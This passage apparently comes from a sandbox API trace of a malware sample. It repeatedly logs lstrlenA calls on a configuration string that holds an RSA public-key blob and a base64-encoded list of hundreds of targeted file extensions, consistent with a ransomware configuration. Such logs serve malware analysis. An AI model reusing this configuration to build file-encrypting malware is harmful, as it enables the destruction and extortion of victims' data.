(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi